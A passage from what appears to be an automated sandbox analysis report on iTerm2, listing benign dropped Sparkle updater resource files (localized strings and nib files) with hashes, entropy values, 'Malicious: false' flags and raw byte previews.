Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/de.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	10130
Entropy (8bit):	3.413635333754863
Encrypted:	false
SSDEEP:	96:MN/maFo4/8FUBuI4UAJEnX8dbMS3Gd3KxTQUigRUxn8WuTyTd1Ts6T3/mbpg2nK3:M6X3Q3EQUXUW6uxnK2hNQ42z
MD5:	55D7E1945741EE0BAC8E0D2811F951A4
SHA1:	F53A5AB712955B8079C749E46A6E0B68FF186691
SHA-256:	45610C88A634EF709EC45C65C6F47164D57AB0818A5B8A36C35CE46EEF388D3A
SHA-512:	9B5FD3AC7A85A27F97239F19131985F87907904576FA289B330A41EDBB2DF9483AED6A80F24EBA392154BB3C7E2EFF046BE0D47BC08DFD40D4DD6A9F27FDDF2E
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .T.h.i.s. .i.s. .a.n. .i.m.p.o.r.t.a.n.t. .u.p.d.a.t.e.;. .w.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .w.u.r.d.e. .g.e.l.a.d.e.n. .u.n.d. .s.t.e.h.t. .z.u.r. .I.n.s.t.a.l.l.a.t.i.o.n. .b.e.r.e.i.t.!. .D.i.e.s. .i.s.t. .e.i.n. .w.i.c.h.t.i.g.e.s. .U.p.d.a.t.e... .M...c.h.t.e.s.t. .d.u. .%.1.$.@. .j.e.t.z.t. .d.u.r.c.h. .d.i.e. .n.e.u.e. .V.e.r.s.i.o.n. .e.r.s.e.t.z.e.n. .u.n.d. .n.e.u. .s.t.a.r.t.e.n.?.".;.....".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .w.u.r.d.e. .g.e.l.a.d.e.n. .u.n.d. .s.t.e.h.t. .z.u.r. .I.n.s.t.a.l.l.a.t.i.o.n. .b.e.r.e.i.t.!. .M...c.h.t.e.s.t. .d.u. .%.1.$.@. .j.e.t.z.t. .d.u.r.c.h. .d.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/el.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13624
Entropy (8bit):	6.741585221058888
Encrypted:	false
SSDEEP:	192:U1WzBQAFwGsdOeYjqE0lCjeEYNMtKwqJ36lrFB/6T9rWunTu:UgzJwVeqE0EeEYNg7qJ36lLI9lnTu
MD5:	6952E39FD9467EFD50F4010DF6FB4175
SHA1:	133C7140415BE5D275CBDF94B0DA097399ADF44B
SHA-256:	D39E6903ECCC337D8D130FAFCAF056EB5A3A1B8DAB044F355DD035E2CD3A59E0
SHA-512:	5D50C5FA07800ED89A374FCEE19EFCA873E16868E54311CE00B2769BFE22A8C7C1253455D0F4E5715DA5E6A21DD001AEBF30948FA9CDBCB473C2654C75AF4649
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/el.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23203
Entropy (8bit):	6.886794034028753
Encrypted:	false
SSDEEP:	384:bRgbiIcIE0UeEYNg7W+EaPirv2YJtb145+QHNKwr08i+9J8TPyr:1g+IieEYy7Pirv2YJ3sNA85J8TPyr
MD5:	169D66E7F860F478AE55DD14B7324789
SHA1:	25A7AF8EEC92FF0DA98E766478032C9C0D42AF96
SHA-256:	AD218A145DAD82E53ADF02896D8458DA503B9864B8B50AC1674A90B979C3129E
SHA-512:	39C056439CFC5FEBC0C657F3CDE89A9EBCC0FE6D88740827DF9587E153457DDEB3C6998AAD65DEB3A70F4595B58B30A149A2173FB2DA391F135398DC7E479DDF
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~...............................................................................................".5.8.9.:.;.B.C.D.J.q.r.s.t.u.v.w...................................................................6.<.B.G.L.R.W.\.b.g.l.q.v.\|....................................................................................... .!."..+.,.2.:.;.<.B.J.K.L.R.Y.Z.[.b.c.d.........^.......w...6.................g..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/el.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	20246
Entropy (8bit):	6.816784399879414
Encrypted:	false
SSDEEP:	384:IAgjvbE0DeEYNg74d+0VutleshI8tEiJNxxlobM78XtM9gaWA:JgVeEYyMVutUshI3iJNvloJM9hWA
MD5:	B7B05FE2F37382640DB17D7D0E34F5A4
SHA1:	B5C1E407FE6E9C76A362429A16D9CE750DA8F6AB
SHA-256:	5BD02AC654109C30D9C4A880AACE43D00D78DDEFD836802C5F114D9BC7CC05C3
SHA-512:	191BE61535C70D82D32F6E0CB701B461095567FC75809F39FCC8B4CF5568936944EB5803B3D772AA9FD722EAE52197D55E3DD5E60DA4467589DD7FBB9A341D56
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/el.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	7718
Entropy (8bit):	4.221327171806878
Encrypted:	false
SSDEEP:	192:MlCRzJOo3w3UQUDU63o+t+u+C+5+Tz+5FanTH3+8n:e6w0TH3nn
MD5:	9F9B433C0D2F1D1E65EE9106064D9AFC
SHA1:	454ED597A36986D07F8FA9E9DEF942395F9FDE18
SHA-256:	93A88CE1C2B0BB034446BA346EE5173FE702EC47EA532B0B1B7C6DA904D877CF
SHA-512:	9DA34EC9C3CAFDE542237EC82D8196D2F760A232972DA096D179DB5052BF2BE61326A055E7DE37121CE7A7E9FE46130B6A60DA4A9B9B45F8E82B7A6138A1BE27
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. ."..... .%.1.$.@. .%.2.$.@. ......... ............. ....... ........... ............. ......... ...........!. ..... ............. ..... ..... ........................... ....... ..... ............................. ..... .%.1.$.@. .........;.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. ."..... .%.1.$.@. ....... ............. ..... ..................... ....... ............. ....... ......... ........... ...................-......... ... ......... .........

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13478
Entropy (8bit):	6.720870563836021
Encrypted:	false
SSDEEP:	192:U1WzBQAF0GoWOeYjqE0lCjeEYNMtKwqJ36lM/6T9rWh0tFfrORS+mV:UgzJ0UeqE0EeEYNg7qJ36lMI9jNrORHQ
MD5:	47A6B53264361B219FA955A805B682A5
SHA1:	060EA18A487B52E9ACDBCCD77F67492F0D04B608
SHA-256:	0794314079D21487667DD1605E48D1F52D2C03B8489BF5A010A1BF9C445AA6E1
SHA-512:	50A7C8A57C0BB1A123E666144162CB9BCC609922F5E1381D2D4D6E3B51D5499423B026FEADE513A07DD1D859EA5B8B6F7A887D4C3CD04F84590581134C1863E1
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23056
Entropy (8bit):	6.887423779738615
Encrypted:	false
SSDEEP:	384:bRgbiTb3E0UeEYNg7W+Ea5ZdgPv2YJtgjE5tQHNKwFraIzZ7m:1g+TOeEYy/HdgPv2YJ6jNFrDzZy
MD5:	E55141E898A2AD374E467CFA88C33F5C
SHA1:	3FB496843EAC5D46EBC7C504569B0A64C77D3B7E
SHA-256:	DFE3E7AE458089C9923007557278AAA7F3743CAFCE48A81850688FD726CD2169
SHA-512:	023E1E6C8271E380875A5BA121CBBAB42E4FB81839F13753B4A45434E9A922E154B3320DD871DD56242CECE0C2E29AB0956E3B6E7C7CB7792A867AA3E3E90991
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~...............................................................................................".5.8.9.:.;.B.C.D.J.q.r.s.t.u.v.w...................................................................6.<.B.G.L.R.W.\.b.g.l.q.v.\|....................................................................................... .!."..+.,.2.:.;.<.B.J.K.L.R.Y.Z.[.b.c.d.........^.......w...6.................g..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	19945
Entropy (8bit):	6.807151616166213
Encrypted:	false
SSDEEP:	384:IAgjvujE0DeEYNg74d+0VutleshI8tE2YxlobM78XHhZdXIV76A:Jg6peEYyMVutUshI32Mlo9Xe
MD5:	3EC18D6D206126BFF3B105D954DF5B61
SHA1:	FF0EF97E45693A4E0531D9400C9FCA496EF37614
SHA-256:	07BAB4786481E6C503A8611BA691A6444FD4F03F8D1A853B3F7FDB8202ACCF1D
SHA-512:	B96ABF53C4C27BCF6BBBCAFEEB681E98F0BEFADF8041DE422AED168A43C4458D3BF31FDCC8240891DE8A00C606B3A584E29B8C0EA4846ABD9A7B646F866C507D
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	10164
Entropy (8bit):	3.3894742679034504
Encrypted:	false
SSDEEP:	192:M0Kb93t3G3J3vQUG4U66bC1L+HnfTnBQvt42gJTkod:AmArBQvrgJTkod
MD5:	597337F19A899D3CF3C815897698F5CF
SHA1:	97CF73712EE23011D3E845AB19B5870D59ED0B8F
SHA-256:	36C608409AF98476DC642983A4E254EC21B4810C8C0B0B5C087C67566EA15F5D
SHA-512:	8B7B8B5A253C94264AA43A478D490A4348FF567F6B1AE0D66BA54193005A903D3FA2405DFFF48244C92B543EF5A457B34C7DA0BDA3799CC4A3865B07FFD9B48B
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .T.h.i.s. .i.s. .a.n. .i.m.p.o.r.t.a.n.t. .u.p.d.a.t.e.;. .w.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .T.h.i.s. .i.s. .a.n. .i.m.p.o.r.t.a.n.t. .u.p.d.a.t.e.;. .w.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.".;.....".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/es.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13534
Entropy (8bit):	6.698843356981961
Encrypted:	false
SSDEEP:	192:U1WzBQAFc1G/3GOeYjqE0lCjeEYNMtKwqJ36lt/6T9rW0IruxGDl:UgzJsAWeqE0EeEYNg7qJ36ltI9yuxOl
MD5:	A8C230979C27FFC1F0430D264043298A
SHA1:	036C600E135FF6C71B2FA73C82E42CFBE0F0705F
SHA-256:	B186359E79DE2C05A2A06AD16CA9F91F5994F891D01673D443B593E28327CA05
SHA-512:	FFF77338CB92AE41310B266E78578326210C3F07F4DF06DBA706D31ADE364522FC007B777A42574BFF893ADF2A85215AB41DC6F370C6B04BF19B9CD8745F15E2
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/es.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23238
Entropy (8bit):	6.854207140233334
Encrypted:	false
SSDEEP:	384:bRgbiTq3E0UeEYNg7W+Exzg+av2YJtgA35tQHNKwrRUsuPjzQk:1g+TjeEYyEzg+av2YJRcN9UPwk
MD5:	1508D1350B7106106E962A0991EF7AFD
SHA1:	5D803E65DF98A2FE05D16788F35FA5D48D89F8C6
SHA-256:	1AEB5B05A73281730035B5D865AEF091EE2B852190AB946EA6D5549A7BD46C7E
SHA-512:	4304F65FA66845C1CBCEB35DACF614CFD6EDBAE578F68C0A9E58BD2FEA60242383D41BEFF0698A0F0BF99B53329FE540905B6C14485FD1EC8D37BF7D3DC08BE7
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~...............................................................................................".5.8.9.:.;.B.C.D.J.q.r.s.t.u.v.w...................................................................6.<.B.G.L.R.W.\.b.g.l.q.v.\|....................................................................................... .!."..+.,.2.:.;.<.B.J.K.L.R.Y.Z.[.b.c.d.........^.......w...6.................g..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/es.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	20332
Entropy (8bit):	6.737735791504342
Encrypted:	false
SSDEEP:	384:IAgjv3E0DeEYNg74d+0VutleshI8tESzxlNbM78XACqdGXRzqA2h9:JgheEYyMVutUshI3SVlNc/oBDO
MD5:	4ECA9B76CD992D8582BFEE9F5288884F
SHA1:	4ACDB8F51B08B086981A78DF61EF4D81023E0BFB
SHA-256:	22AF5AE74DCEECCA268B6F61F8746893860E350F9CE621260D37F77D2801C82A
SHA-512:	8D171DA32B35511043DD73FEB979F6B3765D4F7CE1ED09A04B9BDFDD2B395569043409025E19FA9179171F1192EF05D8EFEAF85B8099A2817728C99EF2D3E89A
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/es.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	10014
Entropy (8bit):	3.4126715200209072
Encrypted:	false
SSDEEP:	192:MJg7Wu35G3tvQUk8Uv/Hf7TljmnQ/rH425FF19kUNv:1JmJQ/rB5FF19kUNv
MD5:	17DD9DA27421DE1E596A680D24F5135B
SHA1:	C0E412E70ED05DD91DB4A34907BADD6A7722474B
SHA-256:	16DF5CFCD505BF394AD7C7C547DE5E53D045F9686E2F1938FE6C52F409E3B60C
SHA-512:	16BFD359E7DDA7783EB296E279B9BA8E74314A271AC1B737D0120690B12049A61D866D122DD93462F2BC34D54C2CDD2E7D042AC5BFD2418C9B1694FE110F1538
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .T.h.i.s. .i.s. .a.n. .i.m.p.o.r.t.a.n.t. .u.p.d.a.t.e.;. .w.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. ."...%.1.$.@. .%.2.$.@. .s.e. .h.a. .d.e.s.c.a.r.g.a.d.o. .y. .e.s.t... .l.i.s.t.a. .p.a.r.a. .u.s.a.r.s.e.!. ...s.t.a. .e.s. .u.n.a. .a.c.t.u.a.l.i.z.a.c.i...n. .i.m.p.o.r.t.a.n.t.e... ...T.e. .g.u.s.t.a.r...a. .i.n.s.t.a.l.a.r.l.a. .y. .v.o.l.v.e.r. .a. .a.b.r.i.r. .%.1.$.@. .a.h.o.r.a.?.".;.....".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. ."...%.1.$.@. .%.2.$.@. .s.e. .h.a. .d.e.s.c.a.r.g.a.d.o. .y. .e.s.t... .l.i.s.t.a. .p.a.r.a. .u.s.a.r.s.e.!. ...T.e. .g.u.s.t.a.r...a. .i.n.s.t.a.l.a.r.l.a. .y. .v.o.l.v.e.r. .a. .a.b.r.i.r. .%.1.$.@. .a.h.o.r.a.?.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/fi.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13624
Entropy (8bit):	6.686446103045481
Encrypted:	false
SSDEEP:	192:U1WzBQAFWGGR8BzOeYjqE0lCjeEYNMtKwqJ36l+y26+9fWsEBu:UgzJWG+MzeqE0EeEYNg7qJ36l+yE96u
MD5:	697E9EEB56CC552F23417AB404DD526B
SHA1:	97E6F91D3A90437D41DB17C752710FF43E534C18
SHA-256:	A6613980C359916EBC1B3AAF07D7EA7DA7D9E6E153F5103BE6176265FC2BD99F
SHA-512:	AC35EA5ACB868FA7E5CE48B53AAF030AF37C6055D6FE4A17E093E29FABB75C01F364A955198491322B1CA41F16CDA04AB5F13F1D23C3CE63DBD7BA79B292EC9E
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

